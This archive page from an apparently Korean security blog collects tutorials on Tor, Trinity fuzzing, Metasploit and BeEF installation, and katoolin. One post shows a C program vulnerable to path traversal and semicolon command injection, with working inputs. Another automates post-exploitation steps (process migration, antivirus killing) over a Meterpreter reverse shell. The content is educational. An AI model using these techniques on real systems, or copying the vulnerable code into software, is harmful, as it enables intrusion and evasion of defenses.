8/30/2015

8/28/2015

[HACKING] TOR를 이용하여 익명 네트워크 사용하기(Anonymity Network Using Tor) on linux

아래 양파로고가 메인인 tor에 대해 들어보셨나요? 익명브라우징에서는 굉장히 유명한 툴 입니다. 이전에도 tor 관련해서 글을 작성했던거 같은데요, 리눅스상에서 tor 설치 후 쉽게 사용하는 방법에 대해 작성해보았습니다. 짧으니 편하게 봐주시면 될 것 같습니다.



tor는 쉽게 말해서 익명 네트워크를 제공해주는 도구입니다. 익명 네트워크란 사용자가 어디서 왔는지, 어떠한 정보를 가지는지를 최대한 노출하지 않고 네트워크를 사용한다고 볼 수 있습니다.

여러 tor proxy 서버끼리 연결되어 있고, 사용자가 각각 proxy 서버를 경유하여 웹을 사용할 수 있습니다. 이렇게 되면 최종적으로 나가는 ip는 마지막으로 경유한 장소의 ip가 되겠지요.



Debian 계열 리눅스에서는 apt 패키지 관리자를 통해 쉽게 설치가 가능합니다.

tor 설치
# apt-get install tor

설치 후 nmap을 통해 확인 시 9050 port 가 open 됩니다. (tor port)

# nmap localhost

Starting Nmap 6.00 ( http://nmap.org ) at 2015-08-27 23:47 KST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000040s latency).
Other addresses for localhost (not scanned): 127.0.0.1
Not shown: 993 closed ports
PORT     STATE SERVICE
..snip..
9050/tcp open  tor-socks

시스템 프록시 설정에서 sock proxy 를 localhost의 9050 port 로 지정해주면 끝납니다.



자신의 ip를 조회해보면 랜덤한 국가로 나타나게 됩니다.

또한 torsocks 을 이용하여 terminal에서 단독으로 tor 사용이 가능합니다.

# apt-get install torsocks

설치 후 아래와 같이 usewithtor를 통해 사용이 가능합니다.

# usewithtor wget www.google.com/test

Share: | Coffee Me:

8/27/2015

[SYSTEM HACKING] Trinity를 활용한 System call Fuzzing (Install Trinity and Trinity Tutorial)

취약점을 찾기 위해 하는 작업 중 큰 부분을 차지하는것이 바로 Fuzzing 입니다.
Fuzzing 을 돕는 프로그램을 Fuzzer라고 부르는데, Fuzzer 중 Linux 시스템에서 Syscall에 대한 Fuzzing 작업을 수행할 수 있는 "Trinity" 라는 툴에 대한 이야기를 할까 합니다.

Trinity란?

Trinity는 Kernelslaker(Dave Jones)가 개발 및 github를 통해 배포되고 있는 Open source Fuzzing Framework 입니다. 리눅스 시스템에서 System call에 대해 반복적인 작업으로 에러를 유발하여 분석가들이 분석할 수 있는 포인트를 제공해 줄 수 있습니다.



Trinity 설치하기(Install Trinity)

Trinity는 리눅스 시스템에서 쉽게 설치할 수 있습니다. 일단 apt 저장소를 통해 패키지로 배포되고 있고 github를 통해서도 배포되고 있어 다운로드하여 컴파일 후 사용이 가능합니다.

git clone 명령을 통해 github에서 trinity 다운로드
# git clone https://github.com/kernelslacker/trinity.git
# ./configure.sh
# make
# make install

or

apt 패키지 관리자를 이용하여 설치(Debian or Ubuntu or Kali ..etc)
# apt-get install trinity

설치 후 실행하여 옵션을 확인하면 아래와 같습니다.

# trinity -h
Trinity v1.3  Dave Jones <davej@redhat.com>
trinity
 --arch, -a: selects syscalls for the specified architecture (32 or 64). Both by default.
 --children,-C: specify number of child processes
 --debug,-D: enable debug
 --exclude,-x: don't call a specific syscall
 --group,-g: only run syscalls from a certain group (So far just 'vm').
 --ioctls,-I: list all ioctls.
 --kernel_taint, -T: controls which kernel taint flags should be considered, for more details refer to README file.
 --list,-L: list all syscalls known on this architecture.
 --logging,-l: (off=disable logging).
 --monochrome,-m: don't output ANSI codes
 --no_files,-n: Only pass sockets as fd's, not files
 --proto,-P: specify specific network protocol for sockets.
 --no_proto,-E: specify network protocols to be excluded from testing.
 --quiet,-q: less output.
 --random,-r#: pick N syscalls at random and just fuzz those
 --syslog,-S: log important info to syslog. (useful if syslog is remote)
 --verbose,-v: increase output verbosity.
 --victims,-V: path to victim files.

 -c#,@: target specific syscall (takes syscall name as parameter and optionally 32 or 64 as bit-width. Default:both).
 -N#: do # syscalls then exit.
 -p:  pause after syscall.
 -s#: use # as random seed.


Trinity를 이용한 System Call Fuzzing


trinity 를 통해서 간단하게 sploice syscall 에 대해 테스트가 가능하다.
# trinity -x splice

..snip..
child3:17903] [128] truncate(path="/proc/1242/task/1271/net/stat/ndisc_cache", length=133) = -1 (Permission denied)
[child3:17903] [129] lsetxattr(pathname="%d%s%d%s%s%d%s%s%s%d%s%d%d%s%d%s%s%d%d%d%d%d%d%s%s%d%s%d%s%s%d%d%d%d%s%s%d%d%s%d%s%d%d%s%s%d%d%d%s%s%d%s%s%d%d%s%d%d%s%d%s%s%d%s%d%s%s%d%s%d%d%d%d%d%d%s%s
..snip..
page_rand], len=0x709cf5e, flags=2) = -1 (Invalid argument)
[child1:17798] [1152] splice(fd_in=8, off_in=0, fd_out=386, off_out=0, len=4096, flags=13) ^C[child3:17800] <timed out>
[child3:17800] child exiting.
[child0:17797] <timed out>
[child0:17797] child exiting.
[child2:17799] <timed out>
[child2:17799] child exiting.
[child1:17798] <timed out>
[child1:17798] child exiting.
Bailing main loop. Exit reason: ctrl-c
^C
[watchdog] [16190] Watchdog exiting
[init]
Ran 5009 syscalls. Successes: 989  Failures: 3992

Trinity Report


Fuzzing 이 끝난 후 Trinity 는 실행된 디렉토리에 각종 파일과 log 를 남깁니다.

# ls
?
?
??147
??147
??1
??147
?7R?d?=ۜ??R5?~HS?!;??<D????!v?t43jq??m?Y?????~?!??]^?@,????e?w??????x?B??????????x???=?????O?Z1?.?*?]E?wI??Y??JP?=?????黤9b?j?,?>?⃠Y?^h&6*p??????=?????Z?Ln?ѭɳ0i???t#?????A??
??147
??1
??14
O>??
trinity-child0.log
trinity-child1.log
trinity-child2.log
trinity-child3.log
trinity.log
trinity.socketcache

여기서 log 파일 구성을 보자면
trinity.log
 + trinity-child0.log
 + trinity-child1.log
 + trinity-child2.log
 + trinity-child3.log

위와 같은 형태로 볼 수 있습니다.



실행이 가능한 임의의 프로그램에 대해 Fuzzing 을 수행하고 결과를 확인해보겠습니다.

# trinity -V /bin -c execve
[init] Parsed 35 char devices, 24 block devices, 23 misc devices.
[init] Using pid_max = 32768
[init] Started watchdog process, PID is 21948
[main] Main thread is alive.
..snip..
[main] fd[42] = /bin/fgconsole (read-only)
[main] fd[43] = /bin/mountpoint (read-only)
[main] fd[44] = /bin/rmdir (read-only)
[main] fd[45] = /bin/ln (read-only)
[main] fd[46] = /bin/ntfsfix (read-only)
[main] fd[47] = /bin/ntfs-3g (read-only)
[main] fd[48] = /bin/chvt (read-only)
[main] fd[49] = /bin/su (read-only)
[main] fd[50] = /bin/mknod (read-only)

위 명령을 통해 /bin 하위의 프로그램에 대해 랜덤으로 테스트를 진행하고, 발견된 사항에 대해서는
trinity.log 와 각 child log 를 통해서 확인이 가능합니다.

# cat trinity-child0.log
[child0:22840] [0] execve(name="/bin/setfacl", argv=0x171ec30, envp=0x171ed30) = -1 (Bad address)
[child0:22840] [1] execve(name=".//bin/pidof ", argv=0x171ed80, envp=0x171ede0) = -1 (No such file or directory)
[child0:22840] [2] execve(name="/bin/mv", argv=0x1439290, envp=0x171ee20) = -1 (Bad address)
[child0:22840] [3] execve(name="/bin/loadkeys", argv=0x171ef10, envp=0x171ef80) = -1 (Bad address)
[child0:22840] [4] execve(name="/bin/nisdomainname", argv=0x171efa0, envp=0x171efc0) = -1 (Bad address)
[child0:22840] [5] [32BIT] execve(name="/bin/systemctl", argv=0x171f000, envp=0x171f100)




Share: | Coffee Me:

8/26/2015

[METASPLOIT] Metasploit 설치(bundle install) 시 발생 에러 처리(Install Metasploit troubleshooting)

Metasploit 설치 과정 중 발생할 수 있는 문제에 대한 해결방법입니다.
이번 글에서는 git 을 이용하여 clone 후 bundler 를 통한 ruby package 설치 과정 중 발생하는 에러에 대해서 처리하는 방법으로 작성하였습니다.

1. PG, pq 관련 에러 시 처리(PG or PQ Error)


Error log
    /usr/bin/ruby2.1 extconf.rb
checking for pg_config... no
No pg_config... trying anyway. If building fails, please try again with
 --with-pg-config=/path/to/pg_config
checking for libpq-fe.h... no
Can't find the 'libpq-fe.h header
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of necessary
libraries and/or headers.  Check the mkmf.log file for more details.  You may
need configuration options.

처리방법
# apt-get install ruby-pg libpq5 libpq-dev


2. SQLite3 관련 에러 시 처리(SQLite3 Error)


Error log
Gem::Ext::BuildError: ERROR: Failed to build gem native extension.

    /usr/bin/ruby2.1 extconf.rb
checking for sqlite3.h... no
sqlite3.h is missing. Try 'port install sqlite3 +universal',
'yum install sqlite-devel' or 'apt-get install libsqlite3-dev'
and check your shared library search path (the
location where your sqlite3 shared library is located).
*** extconf.rb failed ***
Could not create Makefile due to some reason, probably lack of necessary
libraries and/or headers.  Check the mkmf.log file for more details.  You may
need configuration options.


# apt-get install libsqlite3-dev


3. Pcap 관련 에러 시 처리(Pcap Error)


Error log
Gem files will remain installed in /var/lib/gems/2.1.0/gems/pcaprub-0.12.0 for inspection.
Results logged to /var/lib/gems/2.1.0/extensions/x86_64-linux/2.1.0/pcaprub-0.12.0/gem_make.out
An error occurred while installing pcaprub (0.12.0), and Bundler cannot continue.
Make sure that `gem install pcaprub -v '0.12.0'` succeeds before bundling.

# apt-get install ruby-pcaprub
# apt-get install libpcap0.8 libpcap0.8-dev

Easy Install Script(Install Metasploit)


# apt-get install ruby-dev libpcap0.8 libpcap0.8-dev ruby-pcaprub libsqlite3-dev ruby-pg libpq5 libpq-dev
# bundler install

대체로 에러는 에러메시지에 해답이 있습니다. 조금만 찾아보시면 해결 가능한 문제들이 많으니 에러를 처리하기 위한 검색 스킬을 강화하면 좋습니다.


※ 추가로 아래와 같이 ffi나 다른 패키지에서 오류가 나는 경우도 있습니다.
ruby-dev 패키지가 안깔려 있을때 발생할 수 있으니 같이 설치해주시면 될 것 같습니다./

# apt-get install ruby-dev

Error log
Gem::Ext::BuildError: ERROR: Failed to build gem native extension.

    current directory: /var/lib/gems/2.3.0/gems/ffi-1.9.14/ext/ffi_c
/usr/bin/ruby2.3 -r ./siteconf20161122-4849-2yy977.rb extconf.rb
mkmf.rb can't find header files for ruby at /usr/lib/ruby/include/ruby.h

extconf failed, exit code 1

Gem files will remain installed in /var/lib/gems/2.3.0/gems/ffi-1.9.14 for inspection.
Results logged to /var/lib/gems/2.3.0/extensions/x86_64-linux/2.3.0/ffi-1.9.14/gem_make.out

An error occurred while installing ffi (1.9.14), and Bundler cannot continue.
Make sure that `gem install ffi -v '1.9.14'` succeeds before bundling.





Share: | Coffee Me:

[SYSTEM HACKING] 소프트웨어 버그를 이용한 시스템 취약점/해킹(System vulnerability&hacking use software bug)

오늘 테스트 프로그램으로 사용할 간단한 코드입니다.
사용자로부터 입력된 파일명을 tail 명령으로 조회하는 프로그램입니다. 대체로 system 함수 사용 시 sprintf로 명령행이 될 구간을 미리 작성하고 system 함수에 넣는 경우가 있는데, 사용자의 입력값에 대한 필터링 or 검증이 부족할 시 여러가지 공격방법에 취약할 수 있습니다.

# cat log.c

#include <stdio.h>
void main(int argc, char** argv)
{

char cmd[40];
sprintf(cmd,"tail -f %s",argv[1]);system(cmd);
}


실행하면 사용자가 지정한 파일을 로드합니다. 아주 단순한 프로그램

./log test.log
log1
log1
log1
log1
log1
log1
log1
log1
log1
log1

Traversal 구문을 활용한 시스템 파일 접근(Access System File with Traversal Attack)

Path Traversal이라는 공격방법에 대해 들어보셨나요?
아마 웹 해킹에서 많이 들어보셨을 공격방법이였을 겁니다. 그렇지만 이 공격방법은 시스템해킹, 어플리케이션 해킹에서도 상당히 유용하게 사용할 수 있는 공격방법이고, 이것을 활용한 Exploit 도 다수 존재합니다.







오늘은 이 Traversal 구문(../) 을 통해 시스템 어플리케이션의 로직을 우회하여 시스템 파일이나 공격자가 접근할 수 없는 파일에 접근이 가능합니다.


# ./log ../../../../../../../etc/passwd
hplip:x:110:7:HPLIP system user,,,:/var/run/hplip:/bin/false
privoxy:x:116:65534::/etc/privoxy:/bin/false
..snip..

물론 /etc/passwd 파일을 r가 가능한 파일이지만, 만약 공격자의 권한으로 조회가 불가능한 파일에 대해서 위와 같은 취약한 프로그램을 통해 조회를 할 수 있습니다. 대체로 웹에서의 traversal 이 취약한 페이지보단 local 단에서 서버관리자, 개발자가 직접 코딩한 프로그램들이 권한이 더 많은 경우가 있습니다. System Hacking 에서도 굉장히 유용하게 쓰일 수 있습니다.

세미콜론을 활용한 시스템 명령 실행 취약점(use semicolon for system command execute)

리눅스, 유닉스 시스템에서는 세미콜론을 이용하여 명령과 명령행을 구별할 수 있습니다. 이는 어플리케이션에서도 동일하게 적용할 수 있는 부분이며 시스템 명령 수행이 되는 구간에 세미콜론을 이용해 악의적인 명령 수행이 가능할 수 있습니다. 아래와 같이 정상적인 기능 이후 세미콜론과 함께 시스템 명령 사용이 가능합니다.

# ./log test.log ;lspci
log1
log1
log1
log1
log1
log1
log1
log1
log1
log1
^C00:00.0 Host bridge: Intel Corporation 3rd Gen Core processor DRAM Controller (rev 09)
00:02.0 VGA compatible controller: Intel Corporation 3rd Gen Core processor Graphics Controller (rev 09)
00:14.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB xHCI Host Controller (rev 04)
00:16.0 Communication controller: Intel Corporation 7 Series/C210 Series Chipset Family MEI Controller #1 (rev 04)
00:1a.0 USB controller: Intel Corporation 7 Series/C210 Series Chipset Family USB Enhanced Host Controller #2 (rev 04)
00:1b.0 Audio device: Intel Corporation 7 Series/C210 Series Chipset Family High Definition Audio Controller (rev 04)
00:1c.0 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 1 (rev c4)
00:1c.1 PCI bridge: Intel Corporation 7 Series/C210 Series Chipset Family PCI Express Root Port 2 (rev c4)




아주 간단한 예시 같지만, 실제로 위와 같이 공격이 가능한 사례가 많이 있습니다. 특히 Traversal의 경우에는 웹 해킹 시 유명한 사이트, 회사에서도 잘 찾아보면 발견할 수 있는 취약점입니다.
시스템에서도 유사한 방법으로 적용이 가능하기 때문에 잘 활용하시면 도움이 될 수 있습니다.

개인사이트에 내용을 작성 하다보니 깊이있는 내용보다는 쉽고..쓰기 쉬운 내용으로 작성하게 되네요; (아무래도..시간이 없습니다...)
다음번에는 좀 더 재미있고 유익한 주제로 찾아뵙도록 하지요.
감사합니다. :)
Share: | Coffee Me:

8/24/2015

[HACKING] katoolin 을 이용한 Kali Linux Hacking tool 간편 설치(Easy Install Kali Linux Hacking Tool)

최근 Kali linux 2.0 이 릴리즈 되었습니다. 이에 맞춰서 kali 내부의 툴을 쉽게 설치할 수 있는 스크립트가 공유되고 있습니다. 저도 facebook group를 통해 정보를 얻었고, 확인해보니 간단하게 kali 저장소를 이용한 설치방법(apt)이지만 구조나, 주요 툴 리스트를 확인하며 설치가 가능하단 점에서 좋은 스크립트라고 생각들었습니다.



이 스크립트의 이름은 "katoolin" 입니다.

LionSec이 github를 통해 배포하고 있으며, 아래와 같이 clone 명령으로 쉽게 다운로드가 가능합니다.

# git clone https://github.com/LionSec/Katoolin.git 

파일 리스트는 python script 하나와 각종 정보파일만 존재합니다.

# ll
합계 92
drwxr-xr-x 3 root root  4096  8월 24 12:00 .
drwxr-xr-x 3 root root  4096  8월 24 12:00 ..
drwxr-xr-x 8 root root  4096  8월 24 12:00 .git
-rw-r--r-- 1 root root   702  8월 24 12:00 .gitignore
-rw-r--r-- 1 root root 18047  8월 24 12:00 LICENSE
-rw-r--r-- 1 root root  1034  8월 24 12:00 README.md
-rw-r--r-- 1 root root 51359  8월 24 12:00 katoolin.py

쉬운 사용을 위해 katoolin.py 를 /usr/bin/ 에 복사하여 명령행처럼 쓰셔도 좋습니다.

# cd Katoolin
# cp katoolin.py /usr/bin/katoolin
# katoolin

 $$\   $$\             $$\                         $$\ $$\        
 $$ | $$  |            $$ |                        $$ |\__|        
 $$ |$$  /  $$$$$$\  $$$$$$\    $$$$$$\   $$$$$$\  $$ |$$\ $$$$$$$\
 $$$$$  /   \____$$\ \_$$  _|  $$  __$$\ $$  __$$\ $$ |$$ |$$  __$$\
 $$  $$<    $$$$$$$ |  Kali linux tools installer |$$ |$$ |$$ |  $$ |
 $$ |\$$\  $$  __$$ |  $$ |$$\ $$ |  $$ |$$ |  $$ |$$ |$$ |$$ |  $$ |
 $$ | \$$\ \$$$$$$$ |  \$$$$  |\$$$$$$  |\$$$$$$  |$$ |$$ |$$ |  $$ |
 \__|  \__| \_______|   \____/  \______/  \______/ \__|\__|\__|  \__| V1.0


 + -- -- +=[ Author: LionSec | Homepage: www.lionsec.net
 + -- -- +=[ 330 Tools



1) Add Kali repositories & Update
2) View Categories
3) Install classicmenu indicator
4) Install Kali menu
5) Help


kat >


위와 같이 실행 시 명령행 창이 나타나며 help를 통해 명령을 확인해가며 kali 의 툴 설치가 가능합니다.

1) Add Kali repositories & Update 
이 항목은 툴 설치 전 apt/source.list 파일에 저장소 추가 및 apt-get update 작업을 수행하기 때문에 kat 설치 후 먼저 실
행하여 세팅이 필요합니다.

2) View Categories 
해당 항목은 실제로 툴 설치가 이루어지는 부분입니다. 입력 시 아래와 같이 Kali에서 제공하는 메뉴리스트가 나오며, 각 리스트에는 해당 범주에 맞는 툴들이 나타납니다. 툴의 번호를 명령행에 입력 시 해당 툴이 설치됩니다.

kat > 2

**************************** All Categories *****************************

1) Information Gathering 8) Exploitation Tools
2) Vulnerability Analysis 9) Forensics Tools
3) Wireless Attacks 10) Stress Testing
4) Web Applications 11) Password Attacks
5) Sniffing & Spoofing 12) Reverse Engineering
6) Maintaining Access 13) Hardware Hacking
7) Reporting Tools 14) Extra

0) All


Select a category or press (0) to install all Kali linux tools .

kat >
kat > 4

=+[ Web Applications

 1) apache-users 21) plecost
 2) Arachni 22) Powerfuzzer
 3) BBQSQL 23) ProxyStrike
 4) BlindElephant 24) Recon-ng
 5) Burp Suite 25) Skipfish
 6) CutyCapt 26) sqlmap
 7) DAVTest 27) Sqlninja
 8) deblaze 28) sqlsus
 9) DIRB 29) ua-tester
10) DirBuster 30) Uniscan
11) fimap 31) Vega
12) FunkLoad 32) w3af
13) Grabber 33) WebScarab
14) jboss-autopwn 34) Webshag
15) joomscan 35) WebSlayer
16) jSQL 36) WebSploit
17) Maltego Teeth 37) Wfuzz
18) PadBuster 38) WPScan
19) Paros 39) XSSer
20) Parsero 40) zaproxy

0) Install all Web Applications tools


Insert the number of the tool to install it .

kat > 28
패키지 목록을 읽는 중입니다... 완료
의존성 트리를 만드는 중입니다    
상태 정보를 읽는 중입니다... 완료
..snip...

해당 툴에 해당 하는 숫자를 입력하여 쉽게 설치가 가능합니다. 물론 의존성 문제 발생 부분이나, 패키지가 누락된 경우가 있어 설치가 불가능한 툴도 있지만 직접 찾아서 Build 하고 Complie 하는 것 보다는 훤씬 쉽습니다.

3) Install classicmenu indicator
4) Install Kali menu

3, 4번 메뉴는 Kali 에서 제공하는 메뉴를 설치하는 기능입니다. 2번과 동일하게 apt 패키지 관리자를 이용하여 설치합니다.
설치는 해보았으나, 움 Gnome3를 나름 커스텀해서 쓰는지라 바로 눈에 들어오진 않네요.. :(

Kali Linux 가 아닌 다른 리눅스를 사용하시는 분들에게는 굉장히 유용한 도구입니다.
물론 한땀한땀 설치하는것도 재미있긴 하지만, 편의성을 위해선 이 스크립트는 굉장히 좋은 스크립트로 보입니다.


Share: | Coffee Me:

8/22/2015

8/19/2015

[RUBY] HexDump Ruby Code(루비로 헥스 정보 출력하기)

[RUBY] HexDump Ruby Code(루비로 헥스 정보 출력하기)

실행 인자값으로 받을 값(파일명) 을 hexdump라는 함수를 통해 hex값으로 출력하는 코드입니다.

이 코드의 핵심부분인 hexdump 함수에 대해 보겠습니다.
filename 파라미터를 통해 받은 인자값을 File.open 으로 로드한 후 each_byte 를 통해 c에 1byte씩
저장한 후 출력하는 간단한 코드입니다.

  1  def hexdump(filename, start = 0, finish = nil, width = 16)
  2    ascii = ''
  3    counter = 0
  4    print '%06x  ' % start
  5    File.open(filename).each_byte do |c|
  6      if counter >= start
  7        print '%02x ' % c
  8        ascii << (c.between?(32, 126) ? c : ?.)
  9        if ascii.length >= width
 10          puts ascii
 11          ascii = ''
 12          print '%06x  ' % (counter + 1)
 13        end
 14      end
 15      throw :done if finish && finish <= counter
 16      counter += 1
 17    end rescue :done
 18    puts '   ' * (width - ascii.length) + ascii
 19  end
 20
 21
 22  if $0 == __FILE__
 23    if ARGV.empty?
 24      hexdump $0
 25    else
 26      filename = ARGV.shift
 27      hexdump filename, *(ARGV.map {|arg| arg.to_i })
 28    end
 29  end
 30
 31

code
 def hexdump(filename, start = 0, finish = nil, width = 16)
   ascii = ''
   counter = 0
   print '%06x  ' % start
   File.open(filename).each_byte do |c|
     if counter >= start
       print '%02x ' % c
       ascii << (c.between?(32, 126) ? c : ?.)
       if ascii.length >= width
         puts ascii
         ascii = ''
         print '%06x  ' % (counter + 1)
       end
     end
     throw :done if finish && finish <= counter
     counter += 1
   end rescue :done
   puts '   ' * (width - ascii.length) + ascii
 end

 if $0 == __FILE__
   if ARGV.empty?
     puts "Usage: "+$0+" [FILE]"
     puts "Ex) "+$0+"test.jpg"
   else
     filename = ARGV.shift
     hexdump filename, *(ARGV.map {|arg| arg.to_i })
   end
 end



실행하면 아래와 같이 hexdata 가 나타남을 볼 수 있습니다.

# ruby hexdump.rb 
Usage: hexdump.rb [FILE]
Ex) hexdump.rbtest.jpg

# ruby hexdump.rb 123.jpg 
000000  ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 01 ......JFIF......
000010  00 01 00 00 ff e1 07 6e 45 78 69 66 00 00 4d 4d .......nExif..MM
000020  00 2a 00 00 00 08 00 06 01 12 00 03 00 00 00 01 .*..............
000030  00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 56 ...............V
000040  01 1b 00 05 00 00 00 01 00 00 00 5e 01 28 00 03 ...........^.(..
000050  00 00 00 01 00 02 00 00 02 13 00 03 00 00 00 01 ................
000060  ff ff 00 00 87 69 00 04 00 00 00 01 00 00 00 66 .....i.........f
000070  00 00 00 7a 00 00 00 01 00 00 00 01 00 00 00 01 ...z............
000080  00 00 00 01 00 01 90 00 00 02 00 00 00 00 00 00 ................
000090  00 00 00 00 00 00 00 00 00 0f 00 fe 00 04 00 00 ................
0000a0  00 01 00 00 00 00 01 00 00 04 00 00 00 01 00 00 ................
0000b0  00 a0 01 01 00 04 00 00 00 01 00 00 00 64 01 02 .............d..
0000c0  00 03 00 00 00 03 00 00 01 34 01 03 00 03 00 00 .........4......
0000d0  00 01 00 06 00 00 01 06 00 03 00 00 00 01 00 06 ................
0000e0  00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 16 ................
0000f0  00 04 00 00 00 01 00 00 00 64 01 1a 00 05 00 00 .........d......
000100  00 01 00 00 01 3a 01 1b 00 05 00 00 00 01 00 00 .....:..........
000110  01 42 01 28 00 03 00 00 00 01 00 02 00 00 02 00 .B.(............
000120  00 03 00 00 00 01 00 01 00 00 02 01 00 04 00 00 ................
000130  00 01 00 00 01 4a 02 02 00 04 00 00 00 01 00 00 .....J..........
000140  06 1b 02 12 00 03 00 00 00 02 00 02 00 02 00 00 ................
000150  00 00 00 08 00 08 00 08 00 00 01 2c 00 00 00 01 ...........,....
000160  00 00 01 2c 00 00 00 01 ff d8 ff db 00 43 00 08 ...,.........C..
000170  06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d ................
000180  0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c ................
000190  1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 . $.' ",#..(7),0
0001a0  31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff 1444.'9=82<.342.
0001b0  db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 ..C...........2!
0001c0  1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 .!22222222222222

Reference

http://c2.com/cgi/wiki?HexDumpInManyProgrammingLanguages


Share: | Coffee Me:

8/18/2015

[HACKING] BeEF(The Browser Exploitation Framework) 설치하기(Install BeEF on Debian)

BeEF라는 툴을 들어보셨나요?
브라우저 후킹,XSS, Exploit 등 굉장히 유명한 툴 입니다. 이번에는 BeEF 툴 설치 과정을 다뤄볼까 합니다. 아주 간단합니다.



BeEF 는 github를 통해 배포되고 있으며, clone 명령을 통해 쉽게 설치가 가능합니다. 아래와 같이 git clone 을 통해 beef 를 받습니다.

# git clone https://github.com/beefproject/beef


다운로드 완료 후 beef 에서 사용하는 db(sqlite)를 설치합니다.

# apt-get install libsqlite3-dev sqlite3 sqlite3-doc

저는 추가로 ruby 모듈 중 beef 관련하여 설치가 안된 모듈이 많아 bundler를 통해 설치하였습니다. 번들러가 설치되지 않았다면 gem을 통해 설치해줍니다.

# bundle install (#gem install bundler)

bundle install
Don't run Bundler as root. Bundler can ask for sudo if it is needed, and installing your bundle as root will break this application for all non-root users on this machine.
Fetching gem metadata from https://rubygems.org/..........
Fetching additional metadata from https://rubygems.org/..
Resolving dependencies...
Installing addressable 2.3.6
Installing ansi 1.4.3
Installing chunky_png 1.3.4
Installing daemons 1.1.9
Installing data_objects 0.10.14
Installing dm-core 1.2.1
Installing dm-do-adapter 1.2.0
Installing dm-migrations 1.2.0
Installing fastercsv 1.5.5
Using json 1.8.1
Installing json_pure 1.8.2
Installing multi_json 1.9.3
Installing dm-serializer 1.2.2
Installing do_sqlite3 0.10.14


...snip..


bundler 를 통해 설치가 완료되면 바로 beef를 실행합니다. 실행 시 3000 포트로 세팅이 되며
ip:3000/ui.panel 로 접근 시 beef 페이지 확인이 가능합니다.


# ./beef

[22:55:46][*] Bind socket [imapeudora1] listening on [0.0.0.0:2000].
[22:55:46][*] Browser Exploitation Framework (BeEF) 0.4.6.1-alpha
[22:55:46]    |   Twit: @beefproject
[22:55:46]    |   Site: http://beefproject.com
[22:55:46]    |   Blog: http://blog.beefproject.com
[22:55:46]    |_  Wiki: https://github.com/beefproject/beef/wiki
[22:55:46][*] Project Creator: Wade Alcorn (@WadeAlcorn)
[22:55:47][*] BeEF is loading. Wait a few seconds...
[22:56:00][*] 12 extensions enabled.
[22:56:00][*] 242 modules enabled.
[22:56:00][*] 2 network interfaces were detected.
[22:56:00][+] running on network interface: 127.0.0.1
[22:56:00]    |   Hook URL: http://127.0.0.1:3000/hook.js
[22:56:00]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[22:56:00][+] running on network interface: 192.168.0.13
[22:56:00]    |   Hook URL: http://192.168.0.13:3000/hook.js
[22:56:00]    |_  UI URL:   http://192.168.0.13:3000/ui/panel
[22:56:00][*] RESTful API key: 367816f038ce352a2579735fc94b616b29c67d68
[22:56:00][*] DNS Server: 127.0.0.1:5300 (udp)
[22:56:00]    |   Upstream Server: 8.8.8.8:53 (udp)
[22:56:00]    |_  Upstream Server: 8.8.8.8:53 (tcp)
[22:56:00][*] HTTP Proxy: http://127.0.0.1:6789
[22:56:00][*] BeEF server started (press control+c to stop)

BeEF를 통해 다른 브라우저를 제어할 수 있습니다.




간단하게 설치하는 과정만 작성하였습니다. BeEF 이외에도 매력적인 툴이 많이 있으며, 이런 프레임워크를 제작해주신 개발자 분들 멋져요 :)
Share: | Coffee Me:

8/17/2015

[METASPLOIT] Metasploit의 AutoRunScript를 이용한 침투 후 자동 환경 구성

Metasploit 에선 AutoRunScript 라는 재미있는 기능을 지원합니다.
이 기능은 사용자가 미리 .rc 파일을 생성하여 동작할 모듈을 지정해놓고 Exploit 시 자동으로 등록한 동작을 수행하도록 할 수 있습니다.
이런 기능을 통해 공격자가 침투 후 수행해야할 부분에 대해 어느정도 시간 단축이 가능합니다.

Metasploit AutoRunScript 사용하기(Using AutoRunScript)

먼저 자동으로 수행할 명령을 담은 rc 파일을 생성합니다. root 하위에 AutoShell.rc 라는 이름으로 생성하였습니다.
이 파일에는 침투 시 자동으로 수행할 msf 의 명령행을 넣습니다.

$ cat /root/AutoShell.rc 
run post/windows/manage/migrate
run post/windows/manage/killav
run post/windows/gather/checkvm
작성 후 MSF 에서 AutoRunScript 를 이용하여 해당 파일을 로드합니다.

hahwul exploit(handler) #> set AutoRunScript multi_console_command -rc /root/AutoShell.rc

AutoRunScript => multi_console_command -r /root/AutoShell.rc

*참고
2017년에 -rc 에서 -r 옵션으로 변경되었습니다. 커밋 첨부하니 참고해주세요~
(https://github.com/rapid7/metasploit-framework/pull/8802)

설정 후 Exploit 에 성공하면 아래와 같이 AutoShell.rc 파일을 로드하고 지정한 migrate, killav, checkvm 등의 명령을 수행합니다. 대체로 침투와 동시에 안전한 shell 유지를 위해 migrate 를 통해 다른 프로세스의 메모리 공간으로 숨거나 새로운 프로세스를 생성하여 타겟 PC에서 연결을 유지하는데, 이와 같이 스크립트로 등록하면 조금 더 쉽게 미리 세팅이 가능합니다.

hahwul exploit(handler) #> exploit
[*] Started reverse handler on 192.168.56.1:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 192.168.56.101
[*] Meterpreter session 3 opened (192.168.56.1:4444 -> 192.168.56.101:1034) at 2015-08-17 17:37:41 +0900

meterpreter >
[*] Session ID 3 (192.168.56.1:4444 -> 192.168.56.101:1034) processing AutoRunScript 'multi_console_command -rc /root/AutoShell.rc'

[*] Running Command List ...
[*]  Running command run post/windows/manage/migrate
[*] Running module against BEGINNER-A36957
[*] Current server process: exc.exe (156)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 780
[+] Successfully migrated to process 780
[*]  Running command run post/windows/manage/killav
[*] No target processes were found.
[*]  Running command run post/windows/gather/checkvm
[*] Checking if BEGINNER-A36957 is a Virtual Machine .....
[*] This is a Sun VirtualBox Virtual Machine

위와 같이 자동으로 migrate, killav, checkvm 모듈이 실행됨을 알 수 있습니다.
